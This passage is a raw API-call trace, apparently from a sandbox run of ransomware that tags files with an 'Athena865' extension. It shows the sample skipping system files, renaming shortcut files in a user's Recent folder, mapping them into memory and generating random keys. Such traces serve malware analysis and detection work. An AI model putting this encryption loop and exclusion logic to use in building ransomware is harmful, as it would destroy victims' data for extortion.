(HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.199] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.199] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.199] CloseHandle (hObject=0x154) returned 1 [0052.199] CloseHandle (hObject=0x17c) returned 1 [0052.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.201] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c5a760, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1c5a760, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1c5a760, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8fTkcnQUwae4Ny.flv.lnk", cAlternateFileName="8FTKCN~1.LNK")) returned 1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2=".") returned 1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="..") returned 1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="windows") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="bootmgr") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="temp") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="pagefile.sys") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="boot") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="ids.txt") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="ntuser.dat") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="perflogs") returned -1 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2="MSBuild") returned -1 [0052.201] lstrlenW (lpString="8fTkcnQUwae4Ny.flv.lnk") returned 22 [0052.201] lstrcpyW (in: lpString1=0x241e8b4, lpString2="8fTkcnQUwae4Ny.flv.lnk" | out: lpString1="8fTkcnQUwae4Ny.flv.lnk") returned="8fTkcnQUwae4Ny.flv.lnk" [0052.201] lstrlenW (lpString="8fTkcnQUwae4Ny.flv.lnk") returned 22 [0052.201] lstrlenW (lpString="Athena865") returned 9 [0052.201] lstrcmpiW (lpString1="y.flv.lnk", lpString2="Athena865") returned 1 [0052.201] lstrlenW (lpString=".dll") returned 4 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2=".dll") returned 1 [0052.201] lstrlenW (lpString=".lnk") returned 4 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2=".lnk") returned 1 [0052.201] lstrlenW (lpString=".ini") returned 4 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2=".ini") returned 1 [0052.201] lstrlenW (lpString=".sys") returned 4 [0052.201] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv.lnk", lpString2=".sys") returned 1 [0052.201] lstrlenW (lpString="8fTkcnQUwae4Ny.flv.lnk") returned 22 [0052.201] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8fTkcnQUwae4Ny.flv.lnk.Athena865") returned 86 [0052.202] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8fTkcnQUwae4Ny.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8ftkcnquwae4ny.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8fTkcnQUwae4Ny.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8ftkcnquwae4ny.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.202] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8fTkcnQUwae4Ny.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8ftkcnquwae4ny.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.203] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1030) returned 1 [0052.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.203] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.204] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.204] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.204] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x154 [0052.204] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000 [0052.204] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.205] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.205] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.205] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.205] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.206] CloseHandle (hObject=0x154) returned 1 [0052.206] CloseHandle (hObject=0x17c) returned 1 [0052.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.209] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf004da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf004da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf004da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8lbZk.flv.lnk", cAlternateFileName="8LBZKF~1.LNK")) returned 1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2=".") returned 1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="..") returned 1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="windows") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="bootmgr") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="temp") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="pagefile.sys") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="boot") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="ids.txt") returned -1 [0052.209] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="ntuser.dat") returned -1 [0052.210] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="perflogs") returned -1 [0052.210] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2="MSBuild") returned -1 [0052.210] lstrlenW (lpString="8lbZk.flv.lnk") returned 13 [0052.210] lstrcpyW (in: lpString1=0x241e8b4, lpString2="8lbZk.flv.lnk" | out: lpString1="8lbZk.flv.lnk") returned="8lbZk.flv.lnk" [0052.210] lstrlenW (lpString="8lbZk.flv.lnk") returned 13 [0052.210] lstrlenW (lpString="Athena865") returned 9 [0052.210] lstrcmpiW (lpString1="k.flv.lnk", lpString2="Athena865") returned 1 [0052.210] lstrlenW (lpString=".dll") returned 4 [0052.210] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2=".dll") returned 1 [0052.210] lstrlenW (lpString=".lnk") returned 4 [0052.210] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2=".lnk") returned 1 [0052.210] lstrlenW (lpString=".ini") returned 4 [0052.210] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2=".ini") returned 1 [0052.210] lstrlenW (lpString=".sys") returned 4 [0052.210] lstrcmpiW (lpString1="8lbZk.flv.lnk", lpString2=".sys") returned 1 [0052.210] lstrlenW (lpString="8lbZk.flv.lnk") returned 13 [0052.210] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8lbZk.flv.lnk.Athena865") returned 77 [0052.210] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8lbZk.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8lbzk.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8lbZk.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8lbzk.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.211] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8lbZk.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8lbzk.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.211] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=550) returned 1 [0052.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.212] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.212] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.212] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.213] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x154 [0052.213] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x100000 [0052.213] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.214] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.214] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.215] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.215] CloseHandle (hObject=0x154) returned 1 [0052.215] CloseHandle (hObject=0x17c) returned 1 [0052.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.216] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22c0280, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb22c0280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb22c0280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Ua28ahOOat.lnk", cAlternateFileName="8UA28A~1.LNK")) returned 1 [0052.216] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.216] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.216] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2=".") returned 1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="..") returned 1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="windows") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="bootmgr") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="temp") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="pagefile.sys") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="boot") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="ids.txt") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="ntuser.dat") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="perflogs") returned -1 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2="MSBuild") returned -1 [0052.217] lstrlenW (lpString="8Ua28ahOOat.lnk") returned 15 [0052.217] lstrcpyW (in: lpString1=0x241e8b4, lpString2="8Ua28ahOOat.lnk" | out: lpString1="8Ua28ahOOat.lnk") returned="8Ua28ahOOat.lnk" [0052.217] lstrlenW (lpString="8Ua28ahOOat.lnk") returned 15 [0052.217] lstrlenW (lpString="Athena865") returned 9 [0052.217] lstrcmpiW (lpString1="hOOat.lnk", lpString2="Athena865") returned 1 [0052.217] lstrlenW (lpString=".dll") returned 4 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2=".dll") returned 1 [0052.217] lstrlenW (lpString=".lnk") returned 4 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2=".lnk") returned 1 [0052.217] lstrlenW (lpString=".ini") returned 4 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2=".ini") returned 1 [0052.217] lstrlenW (lpString=".sys") returned 4 [0052.217] lstrcmpiW (lpString1="8Ua28ahOOat.lnk", lpString2=".sys") returned 1 [0052.217] lstrlenW (lpString="8Ua28ahOOat.lnk") returned 15 [0052.217] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8Ua28ahOOat.lnk.Athena865") returned 79 [0052.217] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8Ua28ahOOat.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8ua28ahooat.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8Ua28ahOOat.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8ua28ahooat.lnk.athena865"), dwFlags=0x1) returned 1 [0052.218] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\8Ua28ahOOat.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\8ua28ahooat.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.218] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2594) returned 1 [0052.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.219] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.219] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.220] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.220] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.220] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.220] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.220] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.221] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.221] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.221] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.221] CloseHandle (hObject=0x154) returned 1 [0052.221] CloseHandle (hObject=0x17c) returned 1 [0052.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.222] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe4d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xafe4d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xafe4d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jKc4GuOLdb.lnk", cAlternateFileName="9JKC4G~1.LNK")) returned 1 [0052.222] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2=".") returned 1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="..") returned 1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="windows") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="bootmgr") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="temp") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="pagefile.sys") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="boot") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="ids.txt") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="ntuser.dat") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="perflogs") returned -1 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2="MSBuild") returned -1 [0052.223] lstrlenW (lpString="9jKc4GuOLdb.lnk") returned 15 [0052.223] lstrcpyW (in: lpString1=0x241e8b4, lpString2="9jKc4GuOLdb.lnk" | out: lpString1="9jKc4GuOLdb.lnk") returned="9jKc4GuOLdb.lnk" [0052.223] lstrlenW (lpString="9jKc4GuOLdb.lnk") returned 15 [0052.223] lstrlenW (lpString="Athena865") returned 9 [0052.223] lstrcmpiW (lpString1="uOLdb.lnk", lpString2="Athena865") returned 1 [0052.223] lstrlenW (lpString=".dll") returned 4 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2=".dll") returned 1 [0052.223] lstrlenW (lpString=".lnk") returned 4 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2=".lnk") returned 1 [0052.223] lstrlenW (lpString=".ini") returned 4 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2=".ini") returned 1 [0052.223] lstrlenW (lpString=".sys") returned 4 [0052.223] lstrcmpiW (lpString1="9jKc4GuOLdb.lnk", lpString2=".sys") returned 1 [0052.223] lstrlenW (lpString="9jKc4GuOLdb.lnk") returned 15 [0052.223] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\9jKc4GuOLdb.lnk.Athena865") returned 79 [0052.223] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\9jKc4GuOLdb.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\9jkc4guoldb.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\9jKc4GuOLdb.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\9jkc4guoldb.lnk.athena865"), dwFlags=0x1) returned 1 [0052.224] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\9jKc4GuOLdb.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\9jkc4guoldb.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.224] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2594) returned 1 [0052.224] 